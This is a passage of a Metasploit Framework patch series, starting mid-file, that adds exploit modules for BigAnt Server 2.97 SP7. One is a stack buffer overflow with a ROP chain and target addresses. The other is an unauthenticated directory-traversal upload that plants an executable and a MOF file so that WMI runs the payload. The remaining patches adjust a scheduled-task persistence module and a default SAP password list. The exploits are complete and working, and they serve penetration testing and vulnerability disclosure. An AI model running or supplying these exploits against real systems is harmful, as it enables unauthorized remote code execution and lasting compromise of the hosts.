use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'BigAnt Server SCH And DUPF Buffer Overflow', + 'Description' => %q{ + This exploits a stack buffer overflow in the BigAnt Server 2.97 SP7. The + vulnerability is due to the dangerous usage of strcpy while handling errors. This + module uses a combination of SCH and DUPF request to trigger the vulnerability and + has been tested successfully against version 2.97 SP7 over Windows XP SP3 and + Windows 2003 SP2. + }, + 'Author' => + [ + 'Hamburgers Maccoy', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2012-6275' ], + [ 'US-CERT-VU', '990652' ], + [ 'BID', '57214' ], + [ 'OSVDB', '89344' ] + ], + 'Payload' => + { + 'Space' => 2500, + 'BadChars' => "\x00\x0a\x0d\x25\x27", + 'DisableNops' => true, + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'BigAnt Server 2.97 SP7 / Windows XP SP3', + { + 'Offset' => 629, + 'Ret' => 0x77c21ef4, # ppr from msvcrt + 'JmpESP' => 0x77c35459, # push esp # ret from msvcrt + 'FakeObject' => 0x77C60410 # .data from msvcrt + } + ], + [ 'BigAnt Server 2.97 SP7 / Windows 2003 SP2', + { + 'Offset' => 629, + 'Ret' => 0x77bb287a, # ppr from msvcrt + 'FakeObject' => 0x77bf2460, # .data from msvcrt + :callback_rop => :w2003_sp2_rop + } + ] + ], + 'Privileged' => true, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 09 2013')) + + register_options([Opt::RPORT(6661)], self.class) + end + + def junk(n=4) + return rand_text_alpha(n).unpack("V")[0].to_i + end + + def nop + return make_nops(4).unpack("V")[0].to_i + end + + def w2003_sp2_rop + rop_gadgets = + [ + 0x77bc5d88, # POP EAX # RETN + 0x77ba1114, # <- *&VirtualProtect() + 0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN + junk, + 0x77bb0c86, # XCHG EAX,ESI # RETN + 0x77bc9801, # POP EBP # RETN + 0x77be2265, # ptr to 'push esp # ret' + 0x77bc5d88, # POP EAX # RETN + 0x03C0990F, + 0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx) + 0x77bb48d3, # POP EBX, RET + 0x77bf21e0, # .data + 0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN + 0x77bbfc02, # POP ECX # RETN + 0x77bef001, # W pointer (lpOldProtect) (-> ecx) + 0x77bd8c04, # POP EDI # RETN + 0x77bd8c05, # ROP NOP (-> edi) + 0x77bc5d88, # POP EAX # RETN + 0x03c0984f, + 0x77bdd441, # SUB EAX, 03c0940f + 0x77bb8285, # XCHG EAX,EDX # RETN + 0x77bc5d88, # POP EAX # RETN + nop, + 0x77be6591, # PUSHAD # ADD AL,0EF # RETN + ].pack("V*") + + return rop_gadgets + end + + def exploit + + sploit = rand_text_alpha(target['Offset']) + sploit << [target.ret].pack("V") + sploit << [target['FakeObject']].pack("V") + sploit << [target['FakeObject']].pack("V") + if target[:callback_rop] and self.respond_to?(target[:callback_rop]) + sploit << self.send(target[:callback_rop]) + else + sploit << [target['JmpESP']].pack("V") + end + sploit << payload.encoded + + random_filename = rand_text_alpha(4) + random_date = "#{rand_text_numeric(4)}-#{rand_text_numeric(2)}-#{rand_text_numeric(2)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)}" + random_userid = rand_text_numeric(1) + random_username = rand_text_alpha_lower(5) + random_content = rand_text_alpha(10 + rand(10)) + + sch = "SCH 16\n" + sch << "cmdid: 1\n" + sch << "content-length: 0\n" + sch << "content-type: Appliction/Download\n" + sch << "filename: #{random_filename}.txt\n" + sch << "modified: #{random_date}\n" + sch << "pclassid: 102\n" + sch << "pobjid: 1\n" + sch << "rootid: 1\n" + sch << "sendcheck: 1\n" + sch << "source_cmdname: DUPF\n" + sch << "source_content-length: 116619\n" + sch << "userid: #{random_userid}\n" + sch << "username: #{sploit}\n\n" + + print_status("Trying target #{target.name}...") + + connect + print_status("Sending SCH request...") + sock.put(sch) + res = sock.get_once + if res.nil? + fail_with(Exploit::Failure::Unknown, "No response to the SCH request") + end + if res=~ /scmderid: \{(.*)\}/ + scmderid = $1 + else + fail_with(Exploit::Failure::UnexpectedReply, "scmderid value not found in the SCH response") + end + + dupf = "DUPF 16\n" + dupf << "cmdid: 1\n" + dupf << "content-length: #{random_content.length}\n" + dupf << "content-type: Appliction/Download\n" + dupf << "filename: #{random_filename}.txt\n" + dupf << "modified: #{random_date}\n" + dupf << "pclassid: 102\n" + dupf << "pobjid: 1\n" + dupf << "rootid: 1\n" + dupf << "scmderid: {#{scmderid}}\n" + dupf << "sendcheck: 1\n" + dupf << "userid: #{random_userid}\n" + dupf << "username: #{random_username}\n\n" + dupf << random_content + + print_status("Sending DUPF request...") + sock.put(dupf) + #sock.get_once + disconnect + + end + +end From 31a3a374c3efd9c979a8b0a6f4d5ee6bc72b5daf Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sun, 17 Feb 2013 20:25:39 +0100 Subject: [PATCH 11/18] Added module for CVE-2012-6274 --- .../windows/misc/bigant_server_dupf_upload.rb | 126 ++++++++++++++++++ 1 file changed, 126 insertions(+) create mode 100644 modules/exploits/windows/misc/bigant_server_dupf_upload.rb diff --git a/modules/exploits/windows/misc/bigant_server_dupf_upload.rb b/modules/exploits/windows/misc/bigant_server_dupf_upload.rb new file mode 100644 index 000000000000..8f55b2df4cfa --- /dev/null +++ b/modules/exploits/windows/misc/bigant_server_dupf_upload.rb @@ -0,0 +1,126 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::EXE + include Msf::Exploit::WbemExec + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'BigAnt Server DUPF Command Arbitrary File Upload', + 'Description' => %q{ + This exploits an arbitrary file upload vulnerability in BigAnt Server 2.97 SP7. + A lack of authentication allows to make unauthenticated file uploads through a DUPF + command. Additionally the filename option in the same command can be used to launch + a directory traversal attack and achieve arbitrary file upload. + + The module uses uses the Windows Management Instrumentation service to execute an + arbitrary payload on vulnerable installations of BigAnt on Windows XP and 2003. It + has been successfully tested on BigAnt Server 2.97 SP7 Windows XP SP3 and 2003 SP2. + }, + 'Author' => + [ + 'Hamburgers Maccoy', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2012-6274' ], + [ 'US-CERT-VU', '990652' ], + [ 'BID', '57214' ], + [ 'OSVDB', '89342' ] + ], + 'Privileged' => true, + 'Platform' => 'win', + 'Targets' => + [ + [ 'BigAnt Server 2.97 SP7', { } ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => + { + 'WfsDelay' => 10 + }, + 'DisclosureDate' => 'Jan 09 2013')) + + register_options( + [ + Opt::RPORT(6661), + OptInt.new('DEPTH', [true, "Levels to reach base directory", 6]) + ], self.class) + + end + + def upload_file(filename, content) + + random_date = "#{rand_text_numeric(4)}-#{rand_text_numeric(2)}-#{rand_text_numeric(2)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)}" + + dupf = "DUPF 16\n" + dupf << "cmdid: 1\n" + dupf << "content-length: #{content.length}\n" + dupf << "content-type: Appliction/Download\n" + dupf << "filename: #{"\\.." * datastore['DEPTH']}\\#{filename}\n" + dupf << "modified: #{random_date}\n" + dupf << "pclassid: 102\n" + dupf << "pobjid: 1\n" + dupf << "rootid: 1\n" + dupf << "sendcheck: 1\n\n" + dupf << content + + print_status("sending DUPF") + connect + sock.put(dupf) + res = sock.get_once + disconnect + return res + + end + + def exploit + + peer = "#{rhost}:#{rport}" + + # Setup the necessary files to do the wbemexec trick + exe_name = rand_text_alpha(rand(10)+5) + '.exe' + exe = generate_payload_exe + mof_name = rand_text_alpha(rand(10)+5) + '.mof' + mof = generate_mof(mof_name, exe_name) + + print_status("#{peer} - Sending HTTP ConvertFile Request to upload the exe payload #{exe_name}") + res = upload_file("WINDOWS\\system32\\#{exe_name}", exe) + if res and res =~ /DUPF/ and res =~ /fileid: (\d+)/ + print_good("#{peer} - #{exe_name} uploaded successfully") + else + if res and res =~ /ERR 9/ and res =~ /#{exe_name}/ and res =~ /lasterror: 183/ + print_error("#{peer} - Upload failed, check the DEPTH option") + end + fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Failed to upload #{exe_name}") + end + + print_status("#{peer} - Sending HTTP ConvertFile Request to upload the mof file #{mof_name}") + res = upload_file("WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof) + if res and res =~ /DUPF/ and res =~ /fileid: (\d+)/ + print_good("#{peer} - #{mof_name} uploaded successfully") + register_file_for_cleanup(exe_name) + register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}") + else + if res and res =~ /ERR 9/ and res =~ /#{exe_name}/ and res =~ /lasterror: 183/ + print_error("#{peer} - Upload failed, check the DEPTH option") + end + fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Failed to upload #{mof_name}") + end + + end + +end From 322fa53d490b007164229f0ae3ef1874b72744bd Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sun, 17 Feb 2013 20:29:41 +0100 Subject: [PATCH 12/18] fix typo --- modules/exploits/windows/misc/bigant_server_dupf_upload.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/misc/bigant_server_dupf_upload.rb b/modules/exploits/windows/misc/bigant_server_dupf_upload.rb index 8f55b2df4cfa..bed756cb52aa 100644 --- a/modules/exploits/windows/misc/bigant_server_dupf_upload.rb +++ b/modules/exploits/windows/misc/bigant_server_dupf_upload.rb @@ -26,7 +26,8 @@ def initialize(info = {}) The module uses uses the Windows Management Instrumentation service to execute an arbitrary payload on vulnerable installations of BigAnt on Windows XP and 2003. It - has been successfully tested on BigAnt Server 2.97 SP7 Windows XP SP3 and 2003 SP2. + has been successfully tested on BigAnt Server 2.97 SP7 over Windows XP SP3 and 2003 + SP2. }, 'Author' => [ From 25f8a7dcb9d39ff975d8daf1eeff83646438716d Mon Sep 17 00:00:00 2001 From: Thomas McCarthy Date: Sun, 17 Feb 2013 22:35:52 -0500 Subject: [PATCH 13/18] Fix expire tag logic and slight clean up Was a dumbass again and didn't fully understand how Optints worked when left blank at run time. If not 0 the expire tag will be inserted now. Also made it print the xpath if used because I believe it will be of value to the user for trouble shooting. --- .../exploits/windows/local/s4u_persistence.rb | 22 +++++++++++-------- 1 file changed, 13 insertions(+), 9 deletions(-) diff --git a/modules/exploits/windows/local/s4u_persistence.rb b/modules/exploits/windows/local/s4u_persistence.rb index e6197463c52f..5eaad52e4db3 100644 --- a/modules/exploits/windows/local/s4u_persistence.rb +++ b/modules/exploits/windows/local/s4u_persistence.rb @@ -39,7 +39,7 @@ def initialize(info={}) 'Platform' => [ 'windows' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows', {} ] ], - 'DisclosureDate' => [ 'Jan 2 2013' ], + 'DisclosureDate' => [ 'Jan 2 2013' ], # Date of scriptjunkie's blog post 'DefaultTarget' => 0, 'References' => [ [ 'URL', 'http://www.pentestgeek.com/2013/02/11/scheduled-tasks-with-s4u-and-on-demand-persistence/'], @@ -207,8 +207,9 @@ def add_xml_triggers(xml) if not datastore['XPATH'].nil? # Append xpath queries line << " and #{datastore['XPATH']}" + # Print XPath query, useful to user to spot issues with uncommented single quotes + print_status("XPath query: #{line}") end - vprint_status("XPath query: #{line}") xml = create_trigger_event_tags(datastore['EVENT_LOG'], line, xml) @@ -222,12 +223,15 @@ def add_xml_triggers(xml) end xml = xml.sub(/.*?PT#{minutes}M<") - # Generate expire tag - end_boundary = create_expire_tag if datastore['EXPIRE_TIME'] + # Insert expire tag if not 0 + unless datastore['EXPIRE_TIME'] == 0 + # Generate expire tag + end_boundary = create_expire_tag - # Inject expire tag - insert = xml.index("") - xml.insert(insert + 16, "\n #{end_boundary}") + # Inject expire tag + insert = xml.index("") + xml.insert(insert + 16, "\n #{end_boundary}") + end end return xml end @@ -266,7 +270,7 @@ def create_trigger_tags(trig, xml) # Create session state trigger, weird spacing used to maintain # natural Winadows spacing for XML export temp_xml = "\n" - temp_xml << " #{create_expire_tag}" if not datastore['EXPIRE_TIME'] + temp_xml << " #{create_expire_tag}" unless datastore['EXPIRE_TIME'] == 0 temp_xml << " true\n" temp_xml << " #{trig}\n" temp_xml << " #{domain}\\#{user}\n" @@ -286,7 +290,7 @@ def create_trigger_event_tags(log, line, xml) # Fscked up XML syntax for windows event #{id} in #{log}, weird spacind # used to maintain natural Windows spacing for XML export temp_xml = "\n" - temp_xml << " #{create_expire_tag}\n" if not datastore['EXPIRE_TIME'] + temp_xml << " #{create_expire_tag}\n" unless datastore['EXPIRE_TIME'] == 0 temp_xml << " true\n" temp_xml << " <QueryList><Query Id=\"0\" " temp_xml << "Path=\"#{log}\"><Select Path=\"#{log}\">" From 416a7aeaa3bfe064a65759c1313a12f9ef058892 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 18 Feb 2013 15:23:06 +0100 Subject: [PATCH 14/18] make msftidy happy for s4u_persistence --- modules/exploits/windows/local/s4u_persistence.rb | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/modules/exploits/windows/local/s4u_persistence.rb b/modules/exploits/windows/local/s4u_persistence.rb index 5eaad52e4db3..188b8e643c28 100644 --- a/modules/exploits/windows/local/s4u_persistence.rb +++ b/modules/exploits/windows/local/s4u_persistence.rb @@ -39,7 +39,7 @@ def initialize(info={}) 'Platform' => [ 'windows' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows', {} ] ], - 'DisclosureDate' => [ 'Jan 2 2013' ], # Date of scriptjunkie's blog post + 'DisclosureDate' => 'Jan 2 2013', # Date of scriptjunkie's blog post 'DefaultTarget' => 0, 'References' => [ [ 'URL', 'http://www.pentestgeek.com/2013/02/11/scheduled-tasks-with-s4u-and-on-demand-persistence/'], @@ -141,7 +141,6 @@ def upload_rexe(path, payload) begin write_file(path, payload) rescue => e - puts e fail_with(Exploit::Failure::Unknown, "Could not upload to #{path}") end print_status("Successfully uploaded remote executable to #{path}") @@ -152,7 +151,7 @@ def upload_rexe(path, payload) # Returns normal XML for generic task def create_xml(rexe_path) - xml_path = File.join(Msf::Config.install_root, "data", "exploits", "s4u_persistence") + xml_path = File.join(Msf::Config.install_root, "data", "exploits", "s4u_persistence.xml") xml_file = File.new(xml_path,"r") xml = xml_file.read xml_file.close @@ -204,7 +203,7 @@ def add_xml_triggers(xml) when 'event' line = "*[System[(EventID=#{datastore['EVENT_ID']})]]" - if not datastore['XPATH'].nil? + if not datastore['XPATH'].nil? and not datastore['XPATH'].empty? # Append xpath queries line << " and #{datastore['XPATH']}" # Print XPath query, useful to user to spot issues with uncommented single quotes @@ -226,8 +225,7 @@ def add_xml_triggers(xml) # Insert expire tag if not 0 unless datastore['EXPIRE_TIME'] == 0 # Generate expire tag - end_boundary = create_expire_tag - + end_boundary = create_expire_tag # Inject expire tag insert = xml.index("") xml.insert(insert + 16, "\n #{end_boundary}") From c8778587f5233f49eb0f86cb15e2e018bb66daa8 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 18 Feb 2013 15:25:03 +0100 Subject: [PATCH 15/18] rename the xml template for s4u --- data/exploits/{s4u_persistence => s4u_persistence.xml} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename data/exploits/{s4u_persistence => s4u_persistence.xml} (100%) diff --git a/data/exploits/s4u_persistence b/data/exploits/s4u_persistence.xml similarity index 100% rename from data/exploits/s4u_persistence rename to data/exploits/s4u_persistence.xml From 9af43bc05c4b98d4cabe616579a07eb34399eccd Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 18 Feb 2013 15:58:29 +0100 Subject: [PATCH 16/18] newline to sap_default.txt --- data/wordlists/sap_default.txt | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/data/wordlists/sap_default.txt b/data/wordlists/sap_default.txt index 2102fd069bf3..fc64ceb34b36 100644 --- a/data/wordlists/sap_default.txt +++ b/data/wordlists/sap_default.txt @@ -14,4 +14,5 @@ J2EE_ADMIN ch4ngeme SAPJSF ch4ngeme SAPR3 SAP CTB_ADMIN sap123 -XMI_DEMO sap123 \ No newline at end of file +XMI_DEMO sap123 + From 9813c815efbe371ca711890ba84b636ca9fa0233 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 19 Feb 2013 11:40:06 -0600 Subject: [PATCH 17/18] Minor changes --- .../exploits/windows/misc/bigant_server_sch_dupf_bof.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb b/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb index fd560463cd2e..f72d6c171d24 100644 --- a/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb +++ b/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb @@ -14,15 +14,15 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'BigAnt Server SCH And DUPF Buffer Overflow', + 'Name' => 'BigAnt Server 2 SCH And DUPF Buffer Overflow', 'Description' => %q{ - This exploits a stack buffer overflow in the BigAnt Server 2.97 SP7. The + This exploits a stack buffer overflow in BigAnt Server 2.97 SP7. The vulnerability is due to the dangerous usage of strcpy while handling errors. This - module uses a combination of SCH and DUPF request to trigger the vulnerability and + module uses a combination of SCH and DUPF request to trigger the vulnerability, and has been tested successfully against version 2.97 SP7 over Windows XP SP3 and Windows 2003 SP2. }, - 'Author' => + 'Author' => [ 'Hamburgers Maccoy', # Vulnerability discovery 'juan vazquez' # Metasploit module From 5108e8ef1ce3c7432eb85c8cc2de4d4fb803dac5 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 19 Feb 2013 11:44:41 -0600 Subject: [PATCH 18/18] Correct tab --- modules/exploits/windows/misc/bigant_server_dupf_upload.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/misc/bigant_server_dupf_upload.rb b/modules/exploits/windows/misc/bigant_server_dupf_upload.rb index bed756cb52aa..769d2e22527c 100644 --- a/modules/exploits/windows/misc/bigant_server_dupf_upload.rb +++ b/modules/exploits/windows/misc/bigant_server_dupf_upload.rb @@ -29,7 +29,7 @@ def initialize(info = {}) has been successfully tested on BigAnt Server 2.97 SP7 over Windows XP SP3 and 2003 SP2. }, - 'Author' => + 'Author' => [ 'Hamburgers Maccoy', # Vulnerability discovery 'juan vazquez' # Metasploit module